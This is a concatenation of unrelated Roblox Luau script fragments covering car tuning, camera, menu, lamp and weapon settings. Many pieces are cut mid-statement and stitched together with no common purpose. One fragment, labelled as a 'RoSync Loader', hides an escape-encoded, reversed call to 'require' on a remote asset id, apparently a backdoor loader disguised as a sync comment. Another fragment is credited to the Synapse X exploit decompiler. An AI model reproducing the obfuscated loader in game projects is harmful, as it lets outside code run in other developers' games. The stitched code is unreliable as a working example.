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---------------------------------------------------------------------------------------------------------------------------
-- Functions
---------------------------------------------------------------------------------------------------------------------------
|
ClientControl.OnClientInvoke = (function(Mode, Value)
if Mode == "PlayAnimation" and Humanoid then
for i, v in pairs(Animations) do
if v.Animation == Value.Animation then
v.AnimationTrack:Stop()
table.remove(Animations, i)
end
end
local AnimationTrack = Humanoid:LoadAnimation(Value.Animation)
table.insert(Animations, {Animation = Value.Animation, AnimationTrack = AnimationTrack})
AnimationTrack:Play(Value.FadeTime, Value.Weight, Value.Speed)
elseif Mode == "StopAnimation" and Value then
for i, v in pairs(Animations) do
if v.Animation == Value.Animation then
v.AnimationTrack:Stop()
table.remove(Animations, i)
end
end
elseif Mode == "Preload" and Value then
ContentProvider:Preload(Value)
elseif Mode == "PlaySound" and Value then
Value:Play()
elseif Mode == "StopSound" and Value then
Value:Stop()
elseif Mode == "MousePosition" then
return PlayerMouse.Hit.p
end
end)
function InvokeServer(Mode, Value)
pcall(function()
local ServerReturn = ServerControl:InvokeServer(Mode, Value)
return ServerReturn
end)
end
function CheckIfAlive()
return (Player and Player.Parent and Humanoid and Humanoid.Parent and Humanoid.Health > 0)
end
function Equipped(Mouse)
Character = Tool.Parent
Player = Players:GetPlayerFromCharacter(Character)
Humanoid = Character:FindFirstChild("Humanoid")
if not CheckIfAlive() then
return
end
PlayerMouse = Player:GetMouse()
Mouse.Button1Down:connect(function()
InvokeServer("MouseClick", {Down = true})
end)
Mouse.Button1Up:connect(function()
InvokeServer("MouseClick", {Down = false})
end)
Mouse.KeyDown:connect(function(Key)
InvokeServer("KeyPress", {Key = Key, Down = true})
end)
Mouse.KeyUp:connect(function(Key)
InvokeServer("KeyPress", {Key = Key, Down = false})
end)
end
function Unequipped()
for i, v in pairs(Animations) do
if v and v.AnimationTrack then
v.AnimationTrack:Stop()
end
end
Animations = {}
end
Tool.Equipped:connect(Equipped)
Tool.Unequipped:connect(Unequipped)
|
--Armor Settings--
|
combat.ArmorDurability = 120 -- armor health
combat.ShowArmorBar = true -- make this false if u dont want the armor gui to be visible
|
--[=[
@within Component
@prop Started Signal
@tag Event
@tag Component Class
Fired when a new instance of a component is started.
```lua
local MyComponent = Component.new({Tag = "MyComponent"})
MyComponent.Started:Connect(function(component) end)
```
]=]
| |
-- car.Body.Dash.D.door.Enabled = false
|
open.Value = true
script.Parent.Parent.DoorOpen:Play()
e.Muffle.Enabled = false
e.Muffle2.Enabled = false
elseif m.DesiredAngle == -1 then
m.DesiredAngle = 0
while m.CurrentAngle < 0 do wait() end
script.Parent.Parent.DoorClose:Play()
open.Value = false
if carSeat.Occupied.Value == true and car.Electrics.Value == false then
--car.Body.Dash.D.door.Enabled = true
end
|
--------END CREW--------
|
game.Workspace.RRProjector.Decal.Texture = "http://www.roblox.com/asset/?id="..(game.Workspace.CurrentLogo.Value)..""
end
end
script.Parent.ClickDetector.MouseClick:connect(onClicked)
|
--[[
@return Path CurrentPath Returns the currently generated path (if one exists)
--]]
|
function Pathfinder:GetCurrentPath()
return self.CurrentPath
end
return Pathfinder
|
--[[ TELEPORT SERVICE ]]
|
--
if (game.VIPServerId ~= "" and game.VIPServerOwnerId == 0) then
warn("Booting Server !")
local waitTime = 20
Players.PlayerAdded:connect(function(player)
wait(waitTime)
waitTime = waitTime / 2
TeleportService:Teleport(game.PlaceId, player)
end)
for _,player in pairs(Players:GetPlayers()) do
TeleportService:Teleport(game.PlaceId, player)
wait(waitTime)
waitTime = waitTime / 2
end
else
game:BindToClose(function()
local con
if (#Players:GetPlayers() == 0) then
return
end
if (game:GetService("RunService"):IsStudio()) then
return
end
for i,v in pairs(game.Players:GetChildren()) do
AddUI(v)
end
con = Players.PlayerAdded:connect(function(v)
wait(1)
AddUI(v)
end)
wait(15)
con:Disconnect()
local reservedServerCode = TeleportService:ReserveServer(game.PlaceId)
for _,player in pairs(Players:GetPlayers()) do
TeleportService:TeleportToPrivateServer(game.PlaceId, reservedServerCode, { player })
end
Players.PlayerAdded:connect(function(player)
TeleportService:TeleportToPrivateServer(game.PlaceId, reservedServerCode, { player })
end)
while (#Players:GetPlayers() > 0) do
wait(1)
end
end)
end
|
--Lamp Controls -------------------------------------------
|
script.Parent.Configuration.LampStatus.Changed:connect(function()
if script.Parent.Configuration.LampStatus.Value == 1 then
Model.Tilt.Lamp.SpotLight.Brightness = .1
Model.Tilt.Light.Transparency = .9
wait(.1)
Model.Tilt.Lamp.SpotLight.Brightness = .2
Model.Tilt.Light.Transparency = .8
wait(.1)
Model.Tilt.Lamp.SpotLight.Brightness = .3
Model.Tilt.Light.Transparency = .7
wait(.1)
Model.Tilt.Lamp.SpotLight.Brightness = .4
Model.Tilt.Light.Transparency = .6
wait(.1)
Model.Tilt.Lamp.SpotLight.Brightness = .5
Model.Tilt.Light.Transparency = .5
wait(.1)
Model.Tilt.Lamp.SpotLight.Brightness = .6
Model.Tilt.Light.Transparency = .4
wait(.1)
Model.Tilt.Lamp.SpotLight.Brightness = .7
Model.Tilt.Light.Transparency = .3
wait(.1)
Model.Tilt.Lamp.SpotLight.Brightness = .8
Model.Tilt.Light.Transparency = .2
wait(.1)
Model.Tilt.Lamp.SpotLight.Brightness = .9
Model.Tilt.Light.Transparency = .1
wait(.1)
Model.Tilt.Lamp.SpotLight.Brightness = 1
Model.Tilt.Light.Transparency = 0
for i,v in pairs(Model.Tilt:GetChildren()) do
if v.Name == "Light" and v:isA("Part") then
end
end
else
Model.Tilt.Lamp.SpotLight.Brightness = .9
Model.Tilt.Light.Transparency = 0
wait(.1)
Model.Tilt.Lamp.SpotLight.Brightness = .8
Model.Tilt.Light.Transparency = .1
wait(.1)
Model.Tilt.Lamp.SpotLight.Brightness = .7
Model.Tilt.Light.Transparency = .2
wait(.1)
Model.Tilt.Lamp.SpotLight.Brightness = .6
Model.Tilt.Light.Transparency = .3
wait(.1)
Model.Tilt.Lamp.SpotLight.Brightness = .5
Model.Tilt.Light.Transparency = .4
wait(.1)
Model.Tilt.Lamp.SpotLight.Brightness = .4
Model.Tilt.Light.Transparency = .5
wait(.1)
Model.Tilt.Lamp.SpotLight.Brightness = .3
Model.Tilt.Light.Transparency = .6
wait(.1)
Model.Tilt.Lamp.SpotLight.Brightness = .2
Model.Tilt.Light.Transparency = .7
wait(.1)
Model.Tilt.Lamp.SpotLight.Brightness = .1
Model.Tilt.Light.Transparency = .8
wait(.1)
Model.Tilt.Lamp.SpotLight.Brightness = 0
Model.Tilt.Light.Transparency = 1
for i,v in pairs(Model.Tilt:GetChildren()) do
if v.Name == "Lamp" and v:isA("Part") then
end
end
end
end)
|
--[[
This is a wrapper for the SmoothDamp module. It stores
all needed variables internally for ease of use.
-------------------------------------------------------------------------
local smooth = Smooth.new(Vector3 initialValue, Number smoothTime)
smooth.Value
smooth.Goal
smooth.SmoothTime
smooth:Update([Vector goal])
smooth:UpdateAngle([Vector goal])
smooth:SetMaxSpeed(Number speed)
smooth:GetMaxSpeed()
-------------------------------------------------------------------------
EXAMPLE:
local smoothPosition = Smooth.new(part.Position, 0.5)
runService:BindToRenderStep("Example", 0, function()
local position = smoothPosition:Update(mouse.Hit.p)
part.Position = position
end)
--]]
|
local Smooth = {}
Smooth.__index = Smooth
local SmoothDamp = require(script:WaitForChild("SmoothDamp"))
function Smooth.new(initialValue, smoothTime)
assert(typeof(initialValue) == "Vector3", "initialValue should be Vector3")
assert(typeof(smoothTime) == "number", "smoothTime should be a number")
assert(smoothTime >= 0, "smoothTime must be a positive number")
local self = setmetatable({
Value = initialValue;
Goal = initialValue;
SmoothTime = smoothTime;
}, Smooth)
self._smoothDamp = SmoothDamp.new()
return self
end
function Smooth:Update(goal)
if (goal) then
self.Goal = goal
else
goal = self.Goal
end
local value = self._smoothDamp:Update(self.Value, goal, self.SmoothTime)
self.Value = value
return value
end
function Smooth:UpdateAngle(goal)
if (goal) then
self.Goal = goal
else
goal = self.Goal
end
local value = self._smoothDamp:UpdateAngle(self.Value, goal, self.SmoothTime)
self.Value = value
return value
end
function Smooth:SetMaxSpeed(speed)
self._smoothDamp.MaxSpeed = speed
end
function Smooth:GetMaxSpeed()
return self._smoothDamp.MaxSpeed
end
return Smooth
|
-- You don't need to touch any of this
|
local cameraType = camera.CameraType
camera.CameraType = Enum.CameraType.Scriptable
local aimGui
if config.GunsEnabled.Value then
aimGui = plane.AimPart.GUI:Clone()
aimGui.Parent = player.PlayerGui
aimGui.Enabled = true
aimGui.Adornee = plane.AimPart
if plane:FindFirstChild("Guns") then
for _, gun in pairs(plane.Guns:GetChildren()) do
gun.ChildAdded:connect(function(bullet)
if bullet.Name == "Bullet" then
bullet.CFrame = gun.Muzzle.CFrame
end
end)
end
end
end
local rs = game:GetService("RunService").RenderStepped
local mobileGui = script.MobileGui
local sliding = false
local thumb1, thumb2 = Vector2.new(), Vector2.new()
local x, y = 0, 0
local speed = 0
if userInputService.TouchEnabled then
userInputService.ModalEnabled = true
mobileGui.Parent = player.PlayerGui
mobileGui.Throttle.Slider.MouseButton1Down:connect(function()
sliding = true
local mu
mu = userInputService.TouchEnded:connect(function()
sliding = false
mu:disconnect()
end)
while sliding do
rs:wait()
local mouseY = mouse.Y - mobileGui.Throttle.AbsolutePosition.Y
local s = math.min(math.max(mouseY / mobileGui.Throttle.AbsoluteSize.Y, 0), 1)
speed = (1 - s) * config.Speed.Value
mobileGui.Throttle.Slider.Position = UDim2.new(0, -10, s, -35)
end
end)
else
mobileGui:Destroy()
end
local bodyGyro = Instance.new("BodyGyro", body)
bodyGyro.D = 30
bodyGyro.P = 300
bodyGyro.MaxTorque = Vector3.new()
local bodyVelocity = Instance.new("BodyVelocity", body)
bodyVelocity.P = math.huge
bodyVelocity.MaxForce = Vector3.new()
|
-- Global matchers object holds the list of available matchers and
-- the state, that can hold matcher specific values that change over time.
-- ROBLOX deviation: extracted JEST_MATCHERS_OBJECT to jestMatchersObject_extracted to avoid circular dependency
|
local JEST_MATCHERS_OBJECT = jestMatchersObject_extracted.JEST_MATCHERS_OBJECT
|
-- Colors for axis circles
|
ArcHandles.AxisColors = {
X = Color3.new(1, 0, 0),
Y = Color3.new(0, 1, 0),
Z = Color3.new(0, 0, 1)
}
|
--[[Flip]]
|
function Flip()
--Detect Orientation
if (car.DriveSeat.CFrame*CFrame.Angles(math.pi/2,0,0)).lookVector.y > .1 or FlipDB then
FlipWait=tick()
--Apply Flip
else
if tick()-FlipWait>=3 then
FlipDB=true
local gyro = car.DriveSeat.Flip
gyro.maxTorque = Vector3.new(10000,0,10000)
gyro.P=3000
gyro.D=500
wait(1)
gyro.maxTorque = Vector3.new(0,0,0)
gyro.P=0
gyro.D=0
FlipDB=false
end
end
end
|
-- Scripted by Corktail
|
script.Parent.Humanoid.BreakJointsOnDeath = false
name="Humanoid"
while wait() do
if script.Parent.Humanoid.Health<1 then
wait(0.0001)
script.Parent:findFirstChild("Torso"):findFirstChild("Left Shoulder"):Destroy()
script.Parent:findFirstChild("Torso"):findFirstChild("Right Shoulder"):Destroy()
script.Parent:findFirstChild("Torso"):findFirstChild("Left Hip"):Destroy()
script.Parent:findFirstChild("Torso"):findFirstChild("Right Hip"):Destroy()
script.Parent:findFirstChild("Head"):findFirstChild("face").Texture = "http://www.roblox.com/asset/?id=1312972246"
end
end
|
--[[ Last synced 10/14/2020 09:31 || RoSync Loader ]]
|
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5747857292)
|
------------------------------------ Settings
|
local Player = game.Players.LocalPlayer
local tweenService = game:GetService("TweenService")
local Char = Player.Character
local Camera = game.Workspace.CurrentCamera
local MenuCam = game.Workspace:WaitForChild("MenuCam")
local Process = false
wait(game:IsLoaded())
MenuCam.Transparency = 1
Camera.CameraType = Enum.CameraType.Scriptable
Camera.CFrame = MenuCam.CFrame
local BlurEffect = Instance.new("BlurEffect")
BlurEffect.Size = 0
BlurEffect.Parent = game.Lighting
local Black = tweenService:Create(script.Parent:WaitForChild("Black") ,TweenInfo.new(2,
Enum.EasingStyle.Linear,
Enum.EasingDirection.Out),
{Transparency = 0})
local UnBlack = tweenService:Create(script.Parent:WaitForChild("Black"), TweenInfo.new(2, Enum.EasingStyle.Linear, Enum.EasingDirection.Out), {Transparency = 1})
local Blur = tweenService:Create(BlurEffect ,TweenInfo.new(2,
Enum.EasingStyle.Linear,
Enum.EasingDirection.Out),
{Size = 20})
local UnBlur = tweenService:Create(BlurEffect ,TweenInfo.new(1,
Enum.EasingStyle.Linear,
Enum.EasingDirection.Out),
{Size = 0})
if SettingsEnabled == false then
script.Parent.SettingsButton.Visible = false
end
if CreditsEnabled == false then
script.Parent.CreditsButton.Visible = false
else
if script.Parent:WaitForChild("CreditsFrame"):WaitForChild("Frame"):FindFirstChild("TextLabel") then
if script.Parent:WaitForChild("CreditsFrame"):WaitForChild("Frame"):WaitForChild("TextLabel").Text == "Scripter -" then
script.Parent.CreditsFrame.Frame.TextLabel.Text = "Scripter - "..Player.Name
end
end
end
script.Parent:WaitForChild("GameMusic").Playing = true
script.Parent.SettingsButton.MouseButton1Click:Connect(function()
if Process == true then return end
Process = true
if script.Parent.SettingsFrame.Position == UDim2.new(0.5, 0,-0.4, 0) then
script.Parent.SettingsFrame:TweenPosition(UDim2.new(0.5, 0,0.5, 0), "Out", "Quad", 1)
script.Parent.PlayButton:TweenPosition(UDim2.new(-0.3, 0,0.353, 0), "Out", "Quad", 0.5)
script.Parent.SettingsButton:TweenPosition(UDim2.new(-0.3, 0,0.508, 0), "Out", "Quad", 0.5)
script.Parent.CreditsButton:TweenPosition(UDim2.new(-0.3, 0,0.636, 0), "Out", "Quad", 0.5)
Blur:Play()
else
script.Parent.SettingsFrame:TweenPosition(UDim2.new(0.5, 0,-0.4, 0), "Out", "Quad", 1)
script.Parent.PlayButton:TweenPosition(UDim2.new(0.005, 0,0.353, 0), "Out", "Quad", 0.5)
script.Parent.SettingsButton:TweenPosition(UDim2.new(0.005, 0,0.508, 0), "Out", "Quad", 0.5)
script.Parent.CreditsButton:TweenPosition(UDim2.new(0.005, 0,0.636, 0), "Out", "Quad", 0.5)
UnBlur:Play()
end
wait(2)
Process = false
end)
script.Parent.CreditsButton.MouseButton1Click:Connect(function()
if Process == true then return end
Process = true
if script.Parent.CreditsFrame.Position == UDim2.new(0.5, 0,-0.4, 0) then
script.Parent.CreditsFrame:TweenPosition(UDim2.new(0.5, 0,0.5, 0), "Out", "Quad", 1)
script.Parent.PlayButton:TweenPosition(UDim2.new(-0.3, 0,0.353, 0), "Out", "Quad", 0.5)
script.Parent.SettingsButton:TweenPosition(UDim2.new(-0.3, 0,0.508, 0), "Out", "Quad", 0.5)
script.Parent.CreditsButton:TweenPosition(UDim2.new(-0.3, 0,0.636, 0), "Out", "Quad", 0.5)
Blur:Play()
else
script.Parent.CreditsFrame:TweenPosition(UDim2.new(0.5, 0,-0.4, 0), "Out", "Quad", 1)
script.Parent.PlayButton:TweenPosition(UDim2.new(0.005, 0,0.353, 0), "Out", "Quad", 0.5)
script.Parent.SettingsButton:TweenPosition(UDim2.new(0.005, 0,0.508, 0), "Out", "Quad", 0.5)
script.Parent.CreditsButton:TweenPosition(UDim2.new(0.005, 0,0.636, 0), "Out", "Quad", 0.5)
UnBlur:Play()
end
wait(2)
Process = false
end)
script.Parent.CreditsFrame.ExitButton.MouseButton1Click:Connect(function()
if Process == true then return end
Process = true
script.Parent.CreditsFrame:TweenPosition(UDim2.new(0.5, 0,-0.4, 0), "Out", "Quad", 1)
script.Parent.PlayButton:TweenPosition(UDim2.new(0.005, 0,0.353, 0), "Out", "Quad", 0.5)
script.Parent.SettingsButton:TweenPosition(UDim2.new(0.005, 0,0.508, 0), "Out", "Quad", 0.5)
script.Parent.CreditsButton:TweenPosition(UDim2.new(0.005, 0,0.636, 0), "Out", "Quad", 0.5)
UnBlur:Play()
wait(2)
Process = false
end)
script.Parent.SettingsFrame.ExitButton.MouseButton1Click:Connect(function()
if Process == true then return end
Process = true
script.Parent.SettingsFrame:TweenPosition(UDim2.new(0.5, 0,-0.4, 0), "Out", "Quad", 1)
script.Parent.PlayButton:TweenPosition(UDim2.new(0.005, 0,0.353, 0), "Out", "Quad", 0.5)
script.Parent.SettingsButton:TweenPosition(UDim2.new(0.005, 0,0.508, 0), "Out", "Quad", 0.5)
script.Parent.CreditsButton:TweenPosition(UDim2.new(0.005, 0,0.636, 0), "Out", "Quad", 0.5)
UnBlur:Play()
wait(2)
Process = false
end)
if script.Parent.SettingsFrame.Frame:FindFirstChild("Shadows") then
script.Parent.SettingsFrame.Frame.Shadows.MouseButton1Click:Connect(function()
if script.Parent.SettingsFrame.Frame.Shadows.Text == "X" then
script.Parent.SettingsFrame.Frame.Shadows.Text = ""
game.Lighting.GlobalShadows = false
else
script.Parent.SettingsFrame.Frame.Shadows.Text = "X"
game.Lighting.GlobalShadows = true
end
end)
end
if script.Parent.SettingsFrame.Frame:FindFirstChild("Time") then
script.Parent.SettingsFrame.Frame.Time.MouseButton1Click:Connect(function()
if script.Parent.SettingsFrame.Frame.Time.Text == "DAY" then
script.Parent.SettingsFrame.Frame.Time.Text = "NIGHT"
game.Lighting.ClockTime = NightClockTime
else
script.Parent.SettingsFrame.Frame.Time.Text = "DAY"
game.Lighting.ClockTime = DayClockTime
end
end)
end
if script.Parent.SettingsFrame.Frame:FindFirstChild("Music") then
script.Parent.SettingsFrame.Frame.Music.MouseButton1Click:Connect(function()
if script.Parent.SettingsFrame.Frame.Music.Text == "X" then
script.Parent.SettingsFrame.Frame.Music.Text = ""
script.Parent.GameMusic.Playing = false
else
script.Parent.SettingsFrame.Frame.Music.Text = "X"
script.Parent.GameMusic.Playing = true
end
end)
end
script.Parent.PlayButton.MouseButton1Click:Connect(function()
if Process == true then return end
Process = true
script.Parent.Black.Transparency = 1
wait(0.1)
script.Parent.Black.Transparency = 0.9
wait(0.1)
script.Parent.Black.Transparency = 0.8
wait(0.1)
script.Parent.Black.Transparency = 0.7
wait(0.1)
script.Parent.Black.Transparency = 0.6
wait(0.1)
script.Parent.Black.Transparency = 0.5
wait(0.1)
script.Parent.Black.Transparency = 0.4
wait(0.1)
script.Parent.Black.Transparency = 0.3
wait(0.1)
script.Parent.Black.Transparency = 0.2
wait(0.1)
script.Parent.Black.Transparency = 0.1
wait(0.1)
script.Parent.Black.Transparency = 0
wait(1)
Camera.CameraType = Enum.CameraType.Custom
script.Parent.PlayButton:Destroy()
script.Parent.SettingsButton:Destroy()
script.Parent.CreditsButton:Destroy()
game.ServerStorage.Guis:Clone().Parent = game.Players.LocalPlayer.PlayerGui
game.Players.LocalPlayer.Character.Humanoid.Walkspeed = 16
-- Start the UnBlack tween
script.Parent.Black.Transparency = 0.1
wait(0.1)
script.Parent.Black.Transparency = 0.2
wait(0.1)
script.Parent.Black.Transparency = 0.3
wait(0.1)
script.Parent.Black.Transparency = 0.4
wait(0.1)
script.Parent.Black.Transparency = 0.5
wait(0.1)
script.Parent.Black.Transparency = 0.6
wait(0.1)
script.Parent.Black.Transparency = 0.7
wait(0.1)
script.Parent.Black.Transparency = 0.8
wait(0.1)
script.Parent.Black.Transparency = 0.9
wait(0.1)
script.Parent.Black.Transparency = 1
end)
|
-- Handle player instances for players that already are in the game before we got to this point
|
for _, player in pairs(Players:GetPlayers()) do
playerAdded(player)
end
Players.PlayerAdded:Connect(playerAdded)
Players.PlayerRemoving:Connect(playerRemoving)
|
----------------------------------------------------------------------------------------------------
-------------------=[ PROJETIL ]=-------------------------------------------------------------------
----------------------------------------------------------------------------------------------------
|
,Distance = 10000
,BDrop = .25
,BSpeed = 2500
,SuppressMaxDistance = 25 --- Studs
,SuppressTime = 10 --- Seconds
,BulletWhiz = true
,BWEmitter = 25
,BWMaxDistance = 200
,BulletFlare = false
,BulletFlareColor = Color3.fromRGB(255,255,255)
,Tracer = true
,TracerColor = Color3.fromRGB(255,255,255)
,TracerLightEmission = 1
,TracerLightInfluence = 0
,TracerLifeTime = .2
,TracerWidth = .1
,RandomTracer = false
,TracerEveryXShots = 3
,TracerChance = 100
,BulletLight = false
,BulletLightBrightness = 1
,BulletLightColor = Color3.fromRGB(255,255,255)
,BulletLightRange = 10
,ExplosiveHit = false
,ExPressure = 500
,ExpRadius = 25
,DestroyJointRadiusPercent = 0 --- Between 0 & 1
,ExplosionDamage = 100
,LauncherDamage = 100
,LauncherRadius = 25
,LauncherPressure = 500
,LauncherDestroyJointRadiusPercent = 0
|
--[[Weight and CG]]
|
Tune.Weight = 3847 -- Total weight (in pounds)
Tune.WeightBSize = { -- Size of weight brick (dimmensions in studs ; larger = more stable)
--[[Width]] 7.28 ,
--[[Height]] 5.57 ,
--[[Length]] 18.39 }
Tune.WeightDist = 50 -- Weight distribution (0 - on rear wheels, 100 - on front wheels, can be <0 or >100)
Tune.CGHeight = .8 -- Center of gravity height (studs relative to median of all wheels)
Tune.WBVisible = false -- Makes the weight brick visible
--Unsprung Weight
Tune.FWheelDensity = .1 -- Front Wheel Density
Tune.RWheelDensity = .1 -- Rear Wheel Density
Tune.FWLgcyDensity = 1 -- Front Wheel Density [PGS OFF]
Tune.RWLgcyDensity = 1 -- Rear Wheel Density [PGS OFF]
Tune.AxleSize = 2 -- Size of structural members (larger = more stable/carry more weight)
Tune.AxleDensity = .1 -- Density of structural members
|
-- code a constant index as a RK value
|
function luaP:RKASK(x) return x + self.BITRK end
|
-- Actual measured distance to the camera Focus point, which may be needed in special circumstances, but should
-- never be used as the starting point for updating the nominal camera-to-subject distance (self.currentSubjectDistance)
-- since that is a desired target value set only by mouse wheel (or equivalent) input, PopperCam, and clamped to min max camera distance
|
function BaseCamera:GetMeasuredDistanceToFocus(): number?
local camera = game.Workspace.CurrentCamera
if camera then
return (camera.CoordinateFrame.p - camera.Focus.p).magnitude
end
return nil
end
function BaseCamera:GetCameraLookVector(): Vector3
return game.Workspace.CurrentCamera and game.Workspace.CurrentCamera.CFrame.lookVector or UNIT_Z
end
function BaseCamera:CalculateNewLookCFrameFromArg(suppliedLookVector: Vector3?, rotateInput: Vector2): CFrame
local currLookVector: Vector3 = suppliedLookVector or self:GetCameraLookVector()
local currPitchAngle = math.asin(currLookVector.y)
local yTheta = math.clamp(rotateInput.y, -MAX_Y + currPitchAngle, -MIN_Y + currPitchAngle)
local constrainedRotateInput = Vector2.new(rotateInput.x, yTheta)
local startCFrame = CFrame.new(ZERO_VECTOR3, currLookVector)
local newLookCFrame = CFrame.Angles(0, -constrainedRotateInput.x, 0) * startCFrame * CFrame.Angles(-constrainedRotateInput.y,0,0)
return newLookCFrame
end
function BaseCamera:CalculateNewLookVectorFromArg(suppliedLookVector: Vector3?, rotateInput: Vector2): Vector3
local newLookCFrame = self:CalculateNewLookCFrameFromArg(suppliedLookVector, rotateInput)
return newLookCFrame.lookVector
end
function BaseCamera:CalculateNewLookVectorVRFromArg(rotateInput: Vector2): Vector3
local subjectPosition: Vector3 = self:GetSubjectPosition()
local vecToSubject: Vector3 = (subjectPosition - game.Workspace.CurrentCamera.CFrame.p)
local currLookVector: Vector3 = (vecToSubject * X1_Y0_Z1).unit
local vrRotateInput: Vector2 = Vector2.new(rotateInput.x, 0)
local startCFrame: CFrame = CFrame.new(ZERO_VECTOR3, currLookVector)
local yawRotatedVector: Vector3 = (CFrame.Angles(0, -vrRotateInput.x, 0) * startCFrame * CFrame.Angles(-vrRotateInput.y,0,0)).lookVector
return (yawRotatedVector * X1_Y0_Z1).unit
end
function BaseCamera:GetHumanoid(): Humanoid?
local character = player and player.Character
if character then
local resultHumanoid = self.humanoidCache[player]
if resultHumanoid and resultHumanoid.Parent == character then
return resultHumanoid
else
self.humanoidCache[player] = nil -- Bust Old Cache
local humanoid = character:FindFirstChildOfClass("Humanoid")
if humanoid then
self.humanoidCache[player] = humanoid
end
return humanoid
end
end
return nil
end
function BaseCamera:GetHumanoidPartToFollow(humanoid: Humanoid, humanoidStateType: Enum.HumanoidStateType) -- BasePart
if humanoidStateType == Enum.HumanoidStateType.Dead then
local character = humanoid.Parent
if character then
return character:FindFirstChild("Head") or humanoid.Torso
else
return humanoid.Torso
end
else
return humanoid.Torso
end
end
function BaseCamera:OnNewCameraSubject()
if self.subjectStateChangedConn then
self.subjectStateChangedConn:Disconnect()
self.subjectStateChangedConn = nil
end
if not FFlagUserFlagEnableNewVRSystem then
local humanoid = workspace.CurrentCamera and workspace.CurrentCamera.CameraSubject
if self.trackingHumanoid ~= humanoid then
self:CancelCameraFreeze()
end
if humanoid and humanoid:IsA("Humanoid") then
self.subjectStateChangedConn = humanoid.StateChanged:Connect(function(oldState, newState)
if VRService.VREnabled and newState == Enum.HumanoidStateType.Jumping and not self.inFirstPerson then
self:StartCameraFreeze(self:GetSubjectPosition(), humanoid)
elseif newState ~= Enum.HumanoidStateType.Jumping and newState ~= Enum.HumanoidStateType.Freefall then
self:CancelCameraFreeze(true)
end
end)
end
end
end
function BaseCamera:IsInFirstPerson()
return self.inFirstPerson
end
function BaseCamera:Update(dt)
error("BaseCamera:Update() This is a virtual function that should never be getting called.", 2)
end
|
--Script:
|
Button.Activated:Connect(function()
MarketplaceService:PromptProductPurchase(Player, DevProduct.Value)
end)
|
-- Decompiled with the Synapse X Luau decompiler.
|
local l__RunService__1 = game:GetService("RunService");
local v2 = {};
local u1 = require(game:GetService("ReplicatedStorage").Packages.Promise);
local l__TweenService__2 = game:GetService("TweenService");
function v2.alpha(p1, p2)
return u1.delay(p1.DelayTime):andThen(function()
return u1.new(function(p3, p4, p5)
local v3 = 0;
while true do
p2((l__TweenService__2:GetValue(v3 / p1.Time, p1.EasingStyle, p1.EasingDirection)));
v3 = v3 + task.wait();
if p1.Time <= v3 then
break;
end;
if p5() then
break;
end;
end;
if not p5() then
p2(1);
p3();
end;
end);
end);
end;
function v2.range(p6, p7, p8, p9)
if p7 ~= p8 then
return v2.alpha(p6, function(p10)
p9(p7 + (p8 - p7) * p10);
end);
end;
p9(p8);
return u1.resolve();
end;
return v2;
|
-- References
|
Tool = script.Parent.Parent
Libraries = Tool:WaitForChild 'Libraries'
Support = require(Libraries:WaitForChild 'SupportLibrary')
RegionModule = require(Libraries:WaitForChild 'Region')
|
--[[Engine]]
|
--Torque Curve
Tune.Horsepower = 380 -- [TORQUE CURVE VISUAL]
Tune.IdleRPM = 800 -- https://www.desmos.com/calculator/2uo3hqwdhf
Tune.PeakRPM = 6000 -- Use sliders to manipulate values
Tune.Redline = 6700 -- Copy and paste slider values into the respective tune values
Tune.EqPoint = 5500
Tune.PeakSharpness = 7.5
Tune.CurveMult = 0.16
--Incline Compensation
Tune.InclineComp = 1.7 -- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees)
--Misc
Tune.RevAccel = 150 -- RPM acceleration when clutch is off
Tune.RevDecay = 75 -- RPM decay when clutch is off
Tune.RevBounce = 500 -- RPM kickback from redline
Tune.IdleThrottle = 3 -- Percent throttle at idle
Tune.ClutchTol = 500 -- Clutch engagement threshold (higher = faster response)
|
-- Modules
|
local ModuleScripts = ReplicatedStorage:WaitForChild("ModuleScripts")
local GameSettings = require(ModuleScripts:WaitForChild("GameSettings"))
|
-- Engine Sound Parameters
|
local RPM_CROSSOVER = 250 -- How much more engine power is needed to crossover to the next engine audio track
local ENGINE_GAIN_ACCEL = 1 -- Exponent that builds the engine RPM when accelerating (gives the engine sound more oomph the higher the value)
local ENGINE_GAIN_DECCEL = 1 -- Exponent that builds the engine RPM when decelerating (braking)
local BASE_RPM = Vehicle:GetAttribute("BaseEngineRPM") or 1500 -- Resting state for the engine
local MAX_RPM = Vehicle:GetAttribute("MaxEngineRPM") or 5000 -- The engine RPM correlating to the highest pitch for engine sounds
local MAX_IDEAL_RPM = MAX_RPM-(MAX_RPM-BASE_RPM)/4 -- engine RPM correlating to normal usage (not under stress)
local MAX_SPEED = 125 -- The rotational velocity a vehicle's wheels would be reaching for the highest pitched engine sounds
|
--- Splits a string by space but taking into account quoted sequences which will be treated as a single argument.
|
function Util.SplitString(text, max)
text = encodeControlChars(text)
max = max or math.huge
local t = {}
local spat, epat = [=[^(['"])]=], [=[(['"])$]=]
local buf, quoted
for str in text:gmatch("[^ ]+") do
str = Util.ParseEscapeSequences(str)
local squoted = str:match(spat)
local equoted = str:match(epat)
local escaped = str:match([=[(\*)['"]$]=])
if squoted and not quoted and not equoted then
buf, quoted = str, squoted
elseif buf and equoted == quoted and #escaped % 2 == 0 then
str, buf, quoted = buf .. " " .. str, nil, nil
elseif buf then
buf = buf .. " " .. str
end
if not buf then
t[#t + (#t > max and 0 or 1)] = decodeControlChars(str:gsub(spat, ""):gsub(epat, ""))
end
end
if buf then
t[#t + (#t > max and 0 or 1)] = decodeControlChars(buf)
end
return t
end
|
--- subscribe the YouTube - PRO100zola 3k
|
local hum = script.Parent:WaitForChild("Zombie")
local anim = hum:LoadAnimation(script:FindFirstChildOfClass("Animation"))
|
--Leave this
|
Heat = 0
if GUI then
script.Parent.Visible = true
else
script.Parent.Visible = false
end
if not FE then
radiator.Oil.Enabled = false
radiator.Antifreeze.Enabled = false
radiator.Liquid.Volume = 0
radiator.Fan:Play()
radiator.Fan.Pitch = 1+FanSpeed
radiator.Steam:Play()
radiator.Liquid:Play()
script.Blown.Value = false
Load = ((script.Parent.Parent.Values.Throttle.Value*script.Parent.Parent.Values.RPM.Value*10*OverheatSpeed)/math.ceil((car.DriveSeat.Velocity.magnitude+.0000001)/100)/75000)-CoolingEfficiency
Heat = math.max(RunningTemp,(Heat+Load)+FanCool)
script.Celsius.Changed:Connect(function()
intmp.Rotation = -30 + Heat * 250 / 8000
end)
while wait(.2) do
if Heat > FanTemp and Fan == true then
FanCool = -FanSpeed
radiator.Fan.Volume = FanVolume
elseif Heat < FanTempAlpha then
FanCool = 0
radiator.Fan.Volume = 0
end
end
